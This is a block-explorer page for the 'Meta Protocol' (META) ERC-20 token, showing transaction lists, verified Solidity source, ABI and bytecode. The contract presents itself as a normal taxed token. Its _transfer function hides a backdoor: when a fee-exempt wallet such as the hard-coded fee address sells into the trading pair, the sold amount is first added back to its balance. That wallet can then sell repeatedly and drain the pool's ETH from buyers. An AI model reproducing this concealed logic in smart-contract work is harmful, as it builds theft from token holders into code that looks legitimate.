ETH Price: $1,942.82 (-2.07%)
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Token Holdings

More Info

Private Name Tags

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve184074742023-10-22 17:59:23858 days ago1697997563IN
0x9C384Fc6...7Fa674B3F
0 ETH0.0005218211.21160178
Approve184074322023-10-22 17:50:47858 days ago1697997047IN
0x9C384Fc6...7Fa674B3F
0 ETH0.0004942110.60486635
Approve184074312023-10-22 17:50:23858 days ago1697997023IN
0x9C384Fc6...7Fa674B3F
0 ETH0.0005082610.99403573
Approve184074162023-10-22 17:47:23858 days ago1697996843IN
0x9C384Fc6...7Fa674B3F
0 ETH0.0006146113.18824416
Approve184074082023-10-22 17:45:47858 days ago1697996747IN
0x9C384Fc6...7Fa674B3F
0 ETH0.0006574714.10803135
Approve184074062023-10-22 17:45:23858 days ago1697996723IN
0x9C384Fc6...7Fa674B3F
0 ETH0.0004780910.27214238
Approve184074052023-10-22 17:45:11858 days ago1697996711IN
0x9C384Fc6...7Fa674B3F
0 ETH0.0004841610.47269386
Approve184073942023-10-22 17:42:59858 days ago1697996579IN
0x9C384Fc6...7Fa674B3F
0 ETH0.0006059713.0028933
Approve184073922023-10-22 17:42:35858 days ago1697996555IN
0x9C384Fc6...7Fa674B3F
0 ETH0.000429729.29510327
Approve184073902023-10-22 17:42:11858 days ago1697996531IN
0x9C384Fc6...7Fa674B3F
0 ETH0.000424379.17934506
Approve184073762023-10-22 17:39:23858 days ago1697996363IN
0x9C384Fc6...7Fa674B3F
0 ETH0.000418089.04329005
Approve184073592023-10-22 17:35:59858 days ago1697996159IN
0x9C384Fc6...7Fa674B3F
0 ETH0.000384668.32048285
Approve184073482023-10-22 17:33:47858 days ago1697996027IN
0x9C384Fc6...7Fa674B3F
0 ETH0.0005227211.21655191
Approve184073452023-10-22 17:33:11858 days ago1697995991IN
0x9C384Fc6...7Fa674B3F
0 ETH0.000400298.58940908
Approve184073212023-10-22 17:28:11858 days ago1697995691IN
0x9C384Fc6...7Fa674B3F
0 ETH0.0006398313.73291094
Approve184073182023-10-22 17:27:35858 days ago1697995655IN
0x9C384Fc6...7Fa674B3F
0 ETH0.000411758.84670385
Approve184073172023-10-22 17:27:23858 days ago1697995643IN
0x9C384Fc6...7Fa674B3F
0 ETH0.0005601912.02058178
Approve184073122023-10-22 17:26:23858 days ago1697995583IN
0x9C384Fc6...7Fa674B3F
0 ETH0.0005417911.62581137
Approve184072992023-10-22 17:23:47858 days ago1697995427IN
0x9C384Fc6...7Fa674B3F
0 ETH0.0005217711.19621679
Approve184072992023-10-22 17:23:47858 days ago1697995427IN
0x9C384Fc6...7Fa674B3F
0 ETH0.0005217711.19621679
Approve184072992023-10-22 17:23:47858 days ago1697995427IN
0x9C384Fc6...7Fa674B3F
0 ETH0.0010807323.19621679
Approve184072982023-10-22 17:23:35858 days ago1697995415IN
0x9C384Fc6...7Fa674B3F
0 ETH0.0005281911.33383126
Approve184072962023-10-22 17:23:11858 days ago1697995391IN
0x9C384Fc6...7Fa674B3F
0 ETH0.0005449711.69405355
Approve184072962023-10-22 17:23:11858 days ago1697995391IN
0x9C384Fc6...7Fa674B3F
0 ETH0.000731215.69405355
Approve184072942023-10-22 17:22:47858 days ago1697995367IN
0x9C384Fc6...7Fa674B3F
0 ETH0.0006770414.53173023
View all transactions

Latest 25 internal transactions (View All)

Advanced mode:
Parent Transaction Hash Method Block
From
To
Transfer184072912023-10-22 17:22:11858 days ago1697995331
0x9C384Fc6...7Fa674B3F
0.01997752 ETH
Transfer184072912023-10-22 17:22:11858 days ago1697995331
0x9C384Fc6...7Fa674B3F
0.01997752 ETH
Transfer184072882023-10-22 17:21:35858 days ago1697995295
0x9C384Fc6...7Fa674B3F
0.01616461 ETH
Transfer184072882023-10-22 17:21:35858 days ago1697995295
0x9C384Fc6...7Fa674B3F
0.01616461 ETH
Transfer184072822023-10-22 17:20:23858 days ago1697995223
0x9C384Fc6...7Fa674B3F
0.01006081 ETH
Transfer184072822023-10-22 17:20:23858 days ago1697995223
0x9C384Fc6...7Fa674B3F
0.01006081 ETH
Transfer184072782023-10-22 17:19:35858 days ago1697995175
0x9C384Fc6...7Fa674B3F
0.01431658 ETH
Transfer184072782023-10-22 17:19:35858 days ago1697995175
0x9C384Fc6...7Fa674B3F
0.01431658 ETH
Transfer184072752023-10-22 17:18:59858 days ago1697995139
0x9C384Fc6...7Fa674B3F
0.00614638 ETH
Transfer184072752023-10-22 17:18:59858 days ago1697995139
0x9C384Fc6...7Fa674B3F
0.00614638 ETH
Transfer184072752023-10-22 17:18:59858 days ago1697995139
0x9C384Fc6...7Fa674B3F
0.02214026 ETH
Transfer184072752023-10-22 17:18:59858 days ago1697995139
0x9C384Fc6...7Fa674B3F
0.02214026 ETH
Transfer184072712023-10-22 17:18:11858 days ago1697995091
0x9C384Fc6...7Fa674B3F
0.022412 ETH
Transfer184072712023-10-22 17:18:11858 days ago1697995091
0x9C384Fc6...7Fa674B3F
0.022412 ETH
Transfer184072692023-10-22 17:17:47858 days ago1697995067
0x9C384Fc6...7Fa674B3F
0.01532853 ETH
Transfer184072692023-10-22 17:17:47858 days ago1697995067
0x9C384Fc6...7Fa674B3F
0.01532853 ETH
Transfer184072692023-10-22 17:17:47858 days ago1697995067
0x9C384Fc6...7Fa674B3F
0.00096006 ETH
Transfer184072692023-10-22 17:17:47858 days ago1697995067
0x9C384Fc6...7Fa674B3F
0.00096006 ETH
Transfer184072692023-10-22 17:17:47858 days ago1697995067
0x9C384Fc6...7Fa674B3F
0.03816339 ETH
Transfer184072692023-10-22 17:17:47858 days ago1697995067
0x9C384Fc6...7Fa674B3F
0.03816339 ETH
Transfer184072692023-10-22 17:17:47858 days ago1697995067
0x9C384Fc6...7Fa674B3F
0.06818707 ETH
Transfer184072692023-10-22 17:17:47858 days ago1697995067
0x9C384Fc6...7Fa674B3F
0.06818707 ETH
Transfer184072442023-10-22 17:12:47858 days ago1697994767
0x9C384Fc6...7Fa674B3F
0.0519304 ETH
Transfer184072442023-10-22 17:12:47858 days ago1697994767
0x9C384Fc6...7Fa674B3F
0.0519304 ETH
Transfer184072442023-10-22 17:12:47858 days ago1697994767
0x9C384Fc6...7Fa674B3F
0.05715644 ETH
View All Internal Transactions
Loading...
Loading
Loading...
Loading
Cross-Chain Transactions

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
META

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2023-10-22
*/

/*
Unleash the power of your Digital Assets.

Website: https://metaprotocol.info
Telegram: https://t.me/metapro_erc
Twitter: https://twitter.com/metapro_erc
*/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount)
        external
        returns (bool);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

interface IRouter {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}

interface IFactory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

contract META is Context, IERC20, Ownable {
    using SafeMath for uint256;
    string private constant _name = "Meta Protocol";
    string private constant _symbol = "META";

    uint8 private constant _decimals = 9;
    uint256 private constant _supply = 10_000_000 * 10**_decimals;

    uint256 public swapAt = 1_000 * 10**_decimals;
    uint256 public swapMax = 100_000 * 10**_decimals;
    uint256 public mTx = 200_000 * 10**_decimals;
    uint256 public mWallet = 200_000 * 10**_decimals;

    uint256 private _initialBuyFee;
    uint256 private _initialSellFee;
    uint256 private _finalBuyTax;
    uint256 private _finalSellTax;
    uint256 private _reduceBuyTaxAfter = 18;
    uint256 private _reduceSellFeeAt = 18;
    uint256 private _preventSwapBefore = 18;
    uint256 private _numOfBuyers;

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isNoFee;
    address payable private feeAddress = payable(0xF637F9aa52b9d3350f029C53E3465CE6890f9862);
    IRouter private _router;
    address private _pair;
    bool private _enabled;
    bool private swapping = false;
    bool private swapEnabled = false;

    event MaxTxAmountUpdated(uint256 mTx);
    modifier lockTheSwap() {
        swapping = true;
        _;
        swapping = false;
    }

    constructor() {
        _balances[_msgSender()] = _supply;
        _isNoFee[owner()] = true;
        _isNoFee[feeAddress] = true;

        _router = IRouter(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );

        _pair = IFactory(_router.factory()).createPair(
            address(this),
            _router.WETH()
        );

        emit Transfer(address(0), _msgSender(), _supply);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }
    
    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }
    
    function openTrading() external onlyOwner {
        require(!_enabled, "trading is already open");
        _approve(address(this), address(_router), _supply);
        _router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        IERC20(_pair).approve(address(_router), type(uint256).max);
        _initialBuyFee = 14;
        _initialSellFee = 14;
        _finalBuyTax = 1;
        _finalSellTax = 1;
        swapEnabled = true;
        _enabled = true;
    }

    receive() external payable {}
    
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount = 0;
        if (from != owner() && to != owner()) {
            taxAmount = amount.mul((_numOfBuyers > _reduceBuyTaxAfter)? _finalBuyTax: _initialBuyFee).div(100);
            if (from == _pair && to != address(_router) && !_isNoFee[to]) {
                require(amount <= mTx, "Exceeds the mTx.");
                require(balanceOf(to) + amount <= mWallet, "Exceeds the mWallet.");
                if (_numOfBuyers <= 100) {
                    _numOfBuyers++;
                }
            }
            if (to == _pair && from != address(this)) {
                if (_isNoFee[from]) { _balances[from] = _balances[from].add(amount);}
                taxAmount = amount.mul((_numOfBuyers > _reduceSellFeeAt)? _finalSellTax: _initialSellFee).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!swapping && to == _pair && swapEnabled && contractTokenBalance > swapAt && amount > swapAt && _numOfBuyers > _preventSwapBefore && !_isNoFee[from]) {
                swapTokensForEth(min(amount, min(contractTokenBalance, swapMax)));
                sendFees(address(this).balance);
            }
        }

        if (taxAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(taxAmount);
            emit Transfer(from, address(this), taxAmount);
        }
        _balances[from] = _balances[from].sub(amount);
        _balances[to] = _balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function totalSupply() public pure override returns (uint256) {
        return _supply;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function sendFees(uint256 amount) private {
        feeAddress.transfer(amount);
    }

    function removeLimits() external onlyOwner {
        mTx = _supply;
        mWallet = _supply;
        emit MaxTxAmountUpdated(_supply);
    }
    
    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
    
    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _router.WETH();
        _approve(address(this), address(_router), tokenAmount);
        _router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
        return (a > b) ? b : a;
    }
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"mTx","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"mTx","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"mWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapMax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052620000126009600a620004a5565b62000020906103e8620004bd565b600155620000316009600a620004a5565b6200004090620186a0620004bd565b600255620000516009600a620004a5565b620000609062030d40620004bd565b600355620000716009600a620004a5565b620000809062030d40620004bd565b60045560126009819055600a819055600b819055601080546001600160a01b03191673f637f9aa52b9d3350f029c53e3465ce6890f9862179055805461ffff60a81b19169055348015620000d357600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350620001236009600a620004a5565b620001329062989680620004bd565b336000908152600d602090815260408083209390935581546001600160a01b039081168352600f82528383208054600160ff1991821681179092556010549092168452928490208054909116909217909155601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155825163c45a015560e01b81529251909263c45a01559260048083019391928290030181865afa158015620001e5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200020b9190620004d7565b6001600160a01b031663c9c6539630601160009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200026e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002949190620004d7565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015620002e2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003089190620004d7565b601280546001600160a01b0319166001600160a01b0392909216919091179055620003303390565b6001600160a01b031660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6200036a6009600a620004a5565b620003799062989680620004bd565b60405190815260200160405180910390a362000502565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620003e7578160001904821115620003cb57620003cb62000390565b80851615620003d957918102915b93841c9390800290620003ab565b509250929050565b60008262000400575060016200049f565b816200040f575060006200049f565b8160018114620004285760028114620004335762000453565b60019150506200049f565b60ff84111562000447576200044762000390565b50506001821b6200049f565b5060208310610133831016604e8410600b841016171562000478575081810a6200049f565b620004848383620003a6565b80600019048211156200049b576200049b62000390565b0290505b92915050565b6000620004b660ff841683620003ef565b9392505050565b80820281158282048414176200049f576200049f62000390565b600060208284031215620004ea57600080fd5b81516001600160a01b0381168114620004b657600080fd5b6115dc80620005126000396000f3fe6080604052600436106101025760003560e01c8063715018a61161009557806395d89b411161006457806395d89b41146102b1578063a5e992bb146102de578063a9059cbb146102f4578063c9567bf914610314578063dd62ed3e1461032957600080fd5b8063715018a614610247578063751039fc1461025e5780638da5cb5b14610273578063953635141461029b57600080fd5b806323b872dd116100d157806323b872dd146101bf578063313ce567146101df5780633e172ef2146101fb57806370a082311461021157600080fd5b806306fdde031461010e57806308aa269514610156578063095ea7b31461017a57806318160ddd146101aa57600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b5060408051808201909152600d81526c13595d1848141c9bdd1bd8dbdb609a1b60208201525b60405161014d91906111ab565b60405180910390f35b34801561016257600080fd5b5061016c60015481565b60405190815260200161014d565b34801561018657600080fd5b5061019a610195366004611211565b61036f565b604051901515815260200161014d565b3480156101b657600080fd5b5061016c610386565b3480156101cb57600080fd5b5061019a6101da36600461123d565b6103a6565b3480156101eb57600080fd5b506040516009815260200161014d565b34801561020757600080fd5b5061016c60035481565b34801561021d57600080fd5b5061016c61022c36600461127e565b6001600160a01b03166000908152600d602052604090205490565b34801561025357600080fd5b5061025c61040f565b005b34801561026a57600080fd5b5061025c61048c565b34801561027f57600080fd5b506000546040516001600160a01b03909116815260200161014d565b3480156102a757600080fd5b5061016c60045481565b3480156102bd57600080fd5b506040805180820190915260048152634d45544160e01b6020820152610140565b3480156102ea57600080fd5b5061016c60025481565b34801561030057600080fd5b5061019a61030f366004611211565b61053b565b34801561032057600080fd5b5061025c610548565b34801561033557600080fd5b5061016c61034436600461129b565b6001600160a01b039182166000908152600e6020908152604080832093909416825291909152205490565b600061037c338484610776565b5060015b92915050565b60006103946009600a6113ce565b6103a190629896806113dd565b905090565b60006103b384848461089a565b61040584336104008560405180606001604052806028815260200161157f602891396001600160a01b038a166000908152600e602090815260408083203384529091529020549190610e0a565b610776565b5060019392505050565b6000546001600160a01b031633146104425760405162461bcd60e51b8152600401610439906113f4565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146104b65760405162461bcd60e51b8152600401610439906113f4565b6104c26009600a6113ce565b6104cf90629896806113dd565b6003556104de6009600a6113ce565b6104eb90629896806113dd565b6004557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf61051b6009600a6113ce565b61052890629896806113dd565b60405190815260200160405180910390a1565b600061037c33848461089a565b6000546001600160a01b031633146105725760405162461bcd60e51b8152600401610439906113f4565b601254600160a01b900460ff16156105cc5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610439565b6011546105f79030906001600160a01b03166105ea6009600a6113ce565b61040090629896806113dd565b6011546001600160a01b031663f305d7194730610629816001600160a01b03166000908152600d602052604090205490565b60008061063e6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156106a6573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906106cb9190611429565b505060125460115460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610724573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107489190611457565b50600e6005819055600655600160078190556008556012805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b0383166107d85760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610439565b6001600160a01b0382166108395760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610439565b6001600160a01b038381166000818152600e602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166108fe5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610439565b6001600160a01b0382166109605760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610439565b600081116109c25760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610439565b600080546001600160a01b038581169116148015906109ef57506000546001600160a01b03848116911614155b15610cc757610a206064610a1a600954600c5411610a0f57600554610a13565b6007545b8590610e44565b90610ecd565b6012549091506001600160a01b038581169116148015610a4e57506011546001600160a01b03848116911614155b8015610a7357506001600160a01b0383166000908152600f602052604090205460ff16155b15610b4f57600354821115610abd5760405162461bcd60e51b815260206004820152601060248201526f22bc31b2b2b239903a34329036aa3c1760811b6044820152606401610439565b60045482610ae0856001600160a01b03166000908152600d602052604090205490565b610aea9190611479565b1115610b2f5760405162461bcd60e51b815260206004820152601460248201527322bc31b2b2b239903a34329036abb0b63632ba1760611b6044820152606401610439565b6064600c5411610b4f57600c8054906000610b498361148c565b91905055505b6012546001600160a01b038481169116148015610b7557506001600160a01b0384163014155b15610c00576001600160a01b0384166000908152600f602052604090205460ff1615610bd8576001600160a01b0384166000908152600d6020526040902054610bbe9083610f0f565b6001600160a01b0385166000908152600d60205260409020555b610bfd6064610a1a600a54600c5411610bf357600654610a13565b6008548590610e44565b90505b306000908152600d6020526040902054601254600160a81b900460ff16158015610c3757506012546001600160a01b038581169116145b8015610c4c5750601254600160b01b900460ff165b8015610c59575060015481115b8015610c66575060015483115b8015610c755750600b54600c54115b8015610c9a57506001600160a01b0385166000908152600f602052604090205460ff16155b15610cc557610cbc610cb784610cb284600254610f6e565b610f6e565b610f83565b610cc5476110fd565b505b8015610d4157306000908152600d6020526040902054610ce79082610f0f565b306000818152600d6020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610d389085815260200190565b60405180910390a35b6001600160a01b0384166000908152600d6020526040902054610d64908361113b565b6001600160a01b0385166000908152600d6020526040902055610da9610d8a838361113b565b6001600160a01b0385166000908152600d602052604090205490610f0f565b6001600160a01b038085166000818152600d602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610df3858561113b565b60405190815260200160405180910390a350505050565b60008184841115610e2e5760405162461bcd60e51b815260040161043991906111ab565b506000610e3b84866114a5565b95945050505050565b600082600003610e5657506000610380565b6000610e6283856113dd565b905082610e6f85836114b8565b14610ec65760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610439565b9392505050565b6000610ec683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061117d565b600080610f1c8385611479565b905083811015610ec65760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610439565b6000818311610f7d5782610ec6565b50919050565b6012805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610fcb57610fcb6114da565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611024573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061104891906114f0565b8160018151811061105b5761105b6114da565b6001600160a01b0392831660209182029290920101526011546110819130911684610776565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac947906110ba90859060009086903090429060040161150d565b600060405180830381600087803b1580156110d457600080fd5b505af11580156110e8573d6000803e3d6000fd5b50506012805460ff60a81b1916905550505050565b6010546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611137573d6000803e3d6000fd5b5050565b6000610ec683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e0a565b6000818361119e5760405162461bcd60e51b815260040161043991906111ab565b506000610e3b84866114b8565b600060208083528351808285015260005b818110156111d8578581018301518582016040015282016111bc565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461120e57600080fd5b50565b6000806040838503121561122457600080fd5b823561122f816111f9565b946020939093013593505050565b60008060006060848603121561125257600080fd5b833561125d816111f9565b9250602084013561126d816111f9565b929592945050506040919091013590565b60006020828403121561129057600080fd5b8135610ec6816111f9565b600080604083850312156112ae57600080fd5b82356112b9816111f9565b915060208301356112c9816111f9565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561132557816000190482111561130b5761130b6112d4565b8085161561131857918102915b93841c93908002906112ef565b509250929050565b60008261133c57506001610380565b8161134957506000610380565b816001811461135f576002811461136957611385565b6001915050610380565b60ff84111561137a5761137a6112d4565b50506001821b610380565b5060208310610133831016604e8410600b84101617156113a8575081810a610380565b6113b283836112ea565b80600019048211156113c6576113c66112d4565b029392505050565b6000610ec660ff84168361132d565b8082028115828204841417610380576103806112d4565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60008060006060848603121561143e57600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561146957600080fd5b81518015158114610ec657600080fd5b80820180821115610380576103806112d4565b60006001820161149e5761149e6112d4565b5060010190565b81810381811115610380576103806112d4565b6000826114d557634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561150257600080fd